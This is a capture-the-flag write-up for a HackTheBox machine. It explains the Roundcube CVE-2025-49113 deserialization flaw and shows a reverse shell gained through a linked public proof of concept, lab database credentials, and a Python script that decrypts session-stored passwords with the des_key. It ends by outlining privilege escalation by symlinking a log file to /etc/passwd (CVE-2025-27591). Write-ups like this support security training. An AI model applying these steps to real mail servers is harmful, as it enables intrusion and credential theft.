![image](https://hackmd.io/_uploads/SJ26wyuqxx.png) ## Solution ##### Today, we will solve a machine challenge from HackTheBox related to a Roundcube webmail vulnerability. ### Initial analysis ##### First, they provided me with an IP address to access their machine and a pair of credentials. ##### I started with an Nmap scan, and the results showed two open ports: SSH and HTTP. ``` └─$ nmap 10.10.11.77 Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-05 11:48 +07 Nmap scan report for mail.outbound.htb (10.10.11.77) Host is up (3.7s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 10.58 seconds ``` ##### Besides, I discovered **mail.outbound.htb**, which is the virtual hostname of the target (10.10.11.77). ##### We need to edit the `/etc/hosts` file and add an entry to map the hostname. ![image](https://hackmd.io/_uploads/S1PQpydcxg.png) ### Roundcube Exploit ##### After logging in, I saw the login page. ![image](https://hackmd.io/_uploads/H1dt6yOcxx.png) ![image](https://hackmd.io/_uploads/HJCVlbd9xl.png) ##### By viewing the source, I saw that the website was running Roundcube version 1.6.10. ``` Roundcube is a browser-based multilingual IMAP client with an application-like user interface. It provides full functionality you expect from an email client, including MIME support, address book, folder manipulation, message searching and spell checking. ``` ##### While researching vulnerabilities related to this version, I found **CVE-2025-49113**. ![image](https://hackmd.io/_uploads/rk_AeZu9gx.png) #### About CVE-2025-49113 ###### I got source from [here](https://github.com/roundcube/roundcubemail/releases/tag/1.6.10) ##### Roundcube unsafely handles the `_from` parameter in the file upload script located at `program/actions/settings/upload.php`. ```php! $from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET); $type = preg_replace('/(add|edit)-/', '', $from); // Plugins in Settings may use this file for some uploads (#5694) // Make sure it does not contain a dot, which is a special character // when using rcube_session::append() below $type = str_replace('.', '-', $type); ``` ##### The `$from` variable is taken directly from the `?_from=` parameter in the URL. ##### It only uses `preg_replace` to remove `add-`/`edit-` and replaces `.` with `-`. ##### There is no additional validation for other special characters (e.g., `!`, `|`, …). ##### After that, the `$type` variable is used as the group key to save the file in the session: ```php $rcmail->session->append($type . '.files', $id, $attachment); ``` ##### Exploit condition: the attacker must have valid login credentials. ##### If the attacker sets `_from=!xyz`, the PHP session string becomes corrupted, causing the uploaded filename (also controlled by the attacker) to be included as a serialized object. ##### When PHP reloads session → executes unserialize() object → runs gadget → RCE. ##### To exploit this CVE i used an available POC from [hakaioffsec](https://github.com/hakaioffsec/CVE-2025-49113-exploit) ##### I used the credentials provided by the challenge and created a reverse shell. ![image](https://hackmd.io/_uploads/Hk0mXbdqgg.png) ##### After successfully obtaining a reverse shell, I navigated to `/home`. ##### However, I could not access any user directories because I didn’t have the required permissions and was running as `www-data`. ```bash www-data@mail:/home$ ls -l total 20 drwxr-x--- 1 jacob jacob 4096 Jun 7 13:55 jacob drwxr-x--- 1 mel mel 4096 Jun 8 12:06 mel drwxr-x--- 1 tyler tyler 4096 Jun 8 13:28 tyler www-data@mail:/home$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ##### I used the credentials to access the `tyler` folder. ![image](https://hackmd.io/_uploads/H15dhGuceg.png) ##### Inside, I saw that the `Sent` file was empty. ##### From my Google search, I found some paths related to the webmail installation. ![image](https://hackmd.io/_uploads/rJytV-_9gg.png) ##### This is the content of the `config.inc.php` file located at `/var/www/html/roundcube/config`. ```php <?php /* +-----------------------------------------------------------------------+ | Local configuration for the Roundcube Webmail installation. | | | | This is a sample configuration file only containing the minimum | | setup required for a functional installation. Copy more options | | from defaults.inc.php to this file to override the defaults. | | | | This file is part of the Roundcube Webmail client | | Copyright (C) The Roundcube Dev Team | | | | Licensed under the GNU General Public License version 3 or | | any later version with exceptions for skins & plugins. | | See the README file for a full license statement. | +-----------------------------------------------------------------------+ */ $config = []; // Database connection string (DSN) for read+write operations // Format (compatible with PEAR MDB2): db_provider://user:password@host/database // Currently supported db_providers: mysql, pgsql, sqlite, mssql, sqlsrv, oracle // For examples see http://pear.php.net/manual/en/package.database.mdb2.intro-dsn.php // NOTE: for SQLite use absolute path (Linux): 'sqlite:////full/path/to/sqlite.db?mode=0646' // or (Windows): 'sqlite:///C:/full/path/to/sqlite.db' $config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube'; // IMAP host chosen to perform the log-in. // See defaults.inc.php for the option description. $config['imap_host'] = 'localhost:143'; // SMTP server host (for sending mails). // See defaults.inc.php for the option description. $config['smtp_host'] = 'localhost:587'; // SMTP username (if required) if you use %u as the username Roundcube // will use the current username for login $config['smtp_user'] = '%u'; // SMTP password (if required) if you use %p as the password Roundcube // will use the current user's password for login $config['smtp_pass'] = '%p'; // provide an URL where a user can get support for this Roundcube installation // PLEASE DO NOT LINK TO THE ROUNDCUBE.NET WEBSITE HERE! $config['support_url'] = ''; // Name your service. This is displayed on the login screen and in the window title $config['product_name'] = 'Roundcube Webmail'; // This key is used to encrypt the users imap password which is stored // in the session record. For the default cipher method it must be // exactly 24 characters long. // YOUR KEY MUST BE DIFFERENT THAN THE SAMPLE VALUE FOR SECURITY REASONS $config['des_key'] = 'rcmail-!24ByteDESkey*Str'; // List of active plugins (in plugins/ directory) $config['plugins'] = [ 'archive', 'zipdownload', ]; // skin name: folder from skins/ $config['skin'] = 'elastic'; $config['default_host'] = 'localhost'; $config['smtp_server'] = 'localhost'; ``` ##### Some important information from the file: ``` Database Credentials Connection String (DSN): mysql://roundcube:RCDBPass2025@localhost/roundcube Database Name: roundcube Database User: roundcube Database Password: RCDBPass2025 Database Host: localhost Mail Server Information IMAP Host: localhost:143 SMTP Host: localhost:587 While the host is local, it confirms the services running and their ports. Encryption Key 'des_key' => 'rcmail-!24ByteDESkey*Str' This key is used to encrypt sensitive data like user passwords stored in sessions. Using the default sample value is a major security risk. ``` ##### Sessions can store sensitive data such as encrypted IMAP passwords, credentials, and server connection information. ##### Because I know the `des_key`, I was able to decrypt sensitive data from the session files. ##### To obtain the session data, I extracted it from MySQL. ``` www-data@mail:/var/www/html/roundcube/config$ mysql -u roundcube -p roundcube mysql -u roundcube -p roundcube Enter password: RCDBPass2025 SHOW COLUMNS FROM session; exit; Field Type Null Key Default Extra sess_id varchar(128) NO PRI NULL changed datetime NO MUL 1000-01-01 00:00:00 ip varchar(40) NO NULL vars mediumtext NO NULL ``` ##### The `session` table has four columns. I extracted all of them with the command: ```sql SELECT sess_id, changed, ip, vars FROM session; ```` ![image](https://hackmd.io/_uploads/Skrwob_5ee.png) ##### Next, I used CyberChef to decode the Base64 data from the `vars` column. ![image](https://hackmd.io/_uploads/SyMRjZ_9le.png) ##### By reading the official source code of Roundcube, I found the decrypt function. ```php public function decrypt($cipher, $key = 'des_key', $base64 = true) { // @phpstan-ignore-next-line if (!is_string($cipher) || !strlen($cipher)) { return false; } if ($base64) { $cipher = base64_decode($cipher, true); if ($cipher === false) { return false; } } $ckey = $this->config->get_crypto_key($key); $method = $this->config->get_crypto_method(); $iv_size = openssl_cipher_iv_length($method); $tag = null; if (preg_match('/^##(.{16})##/s', $cipher, $matches)) { $tag = $matches[1]; $cipher = substr($cipher, strlen($matches[0])); } $iv = substr($cipher, 0, $iv_size); // session corruption? (#1485970) if (strlen($iv) < $iv_size) { return false; } $cipher = substr($cipher, $iv_size); $clear = openssl_decrypt($cipher, $method, $ckey, \OPENSSL_RAW_DATA, $iv, $tag); return $clear; } ``` ##### After obtaining the key from `des_key` and using **DES-EDE3-CBC** (for version 1.6.10), ##### I found that the `password` field in `vars` consists of the IV (8 bytes) followed by the ciphertext (of variable length). ##### I wrote a simple script to decrypt it: ```python! import base64 from Crypto.Cipher import DES3 key = b'rcmail-!24ByteDESkey*Str' def rcube_decrypt(cipher_b64, key): cipher_raw = base64.b64decode(cipher_b64) iv = cipher_raw[:8] ciphertext = cipher_raw[8:] cipher = DES3.new(key, DES3.MODE_CBC, iv) plaintext = cipher.decrypt(ciphertext) pad_len = plaintext[-1] return plaintext[:-pad_len].decode(errors="ignore") cipher_b64 = "bL9uVf9w35H/YQC75uyDjo1d/RR/zsUU" print(rcube_decrypt(cipher_b64, key)) ``` ![image](https://hackmd.io/_uploads/SkWZdzOqgg.png) ##### The decrypted credentials were the same as those provided in the challenge description. ##### Continuing with another session, I found the encrypted credentials of the `jacob` user. ![image](https://hackmd.io/_uploads/r1_-Yfd5el.png) ![image](https://hackmd.io/_uploads/r1DPtzd5lg.png) ##### I successfully obtained another set of credentials: `jacob:595mO8DmwGeD`. ##### With Jacob's permissions, I accessed `/home/jacob/mail` and found one email. ![image](https://hackmd.io/_uploads/Hkxjoazucge.png) ``` From tyler@outbound.htb Sat Jun 07 14:00:58 2025 Return-Path: <tyler@outbound.htb> X-Original-To: jacob Delivered-To: jacob@outbound.htb Received: by outbound.htb (Postfix, from userid 1000) id B32C410248D; Sat, 7 Jun 2025 14:00:58 +0000 (UTC) To: jacob@outbound.htb Subject: Important Update MIME-Version: 1.0 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: 8bit Message-Id: <20250607140058.B32C410248D@outbound.htb> Date: Sat, 7 Jun 2025 14:00:58 +0000 (UTC) From: tyler@outbound.htb X-IMAPbase: 1749304753 0000000002 X-UID: 1 Status: X-Keywords: Content-Length: 233 Due to the recent change of policies your password has been changed. Please use the following credentials to log into your account: gY4Wr3a1evp4 Remember to change your password when you next log into your account. Thanks! Tyler From mel@outbound.htb Sun Jun 08 12:09:45 2025 Return-Path: <mel@outbound.htb> X-Original-To: jacob Delivered-To: jacob@outbound.htb Received: by outbound.htb (Postfix, from userid 1002) id 1487E22C; Sun, 8 Jun 2025 12:09:45 +0000 (UTC) To: jacob@outbound.htb Subject: Unexpected Resource Consumption MIME-Version: 1.0 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: 8bit Message-Id: <20250608120945.1487E22C@outbound.htb> Date: Sun, 8 Jun 2025 12:09:45 +0000 (UTC) From: mel@outbound.htb X-UID: 2 Status: X-Keywords: Content-Length: 261 We have been experiencing high resource consumption on our main server. For now we have enabled resource monitoring with Below and have granted you privileges to inspect the the logs. Please inform us immediately if you notice any irregularities. Thanks! Mel ``` ##### According to the email, it mentioned a password change — possibly the password for the SSH server. ##### I connected to SSH using the credentials `jacob:gY4Wr3a1evp4` and retrieved the user flag. ![image](https://hackmd.io/_uploads/rJCcCzuqlg.png) ### Linux Privilege Escalation ``` jacob@outbound:/$ id uid=1002(jacob) gid=1002(jacob) groups=1002(jacob),100(users) ``` ##### I only had Jacob's permissions, so I could not access `/root` or retrieve the root flag. Therefore, I needed to find a way to escalate privileges. ##### I used [linpeas.sh](https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS) and discovered a potential attack vector. ##### I downloaded the tool to my machine, started a Python HTTP server, and then transferred it to the HTB server. ![image](https://hackmd.io/_uploads/Hym6x7d5gl.png) ![image](https://hackmd.io/_uploads/B1_0emu5eg.png) ##### After running linpeas, at the line `Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d`, ##### I saw that Jacob could run the following below tool (`monitor`) with root permissions. ![image](https://hackmd.io/_uploads/H1mAf7_qxe.png) ##### The file `error_root.log` was world-writable, meaning anyone could write to it. ![image](https://hackmd.io/_uploads/rJGfXXOqxl.png) ##### Here, I was able to perform privilege escalation. ##### **Idea**: If I create a symlink from this log file to `/etc/passwd`, then when `below` runs with root permissions, it will write into `/etc/passwd`. ##### From my research, I learned this is **CVE-2025-27591**. I also found a [PoC](https://github.com/BridgerAlderson/CVE-2025-27591-PoC/blob/main/exploit.py). ![image](https://hackmd.io/_uploads/Bk_GLB_cgg.png)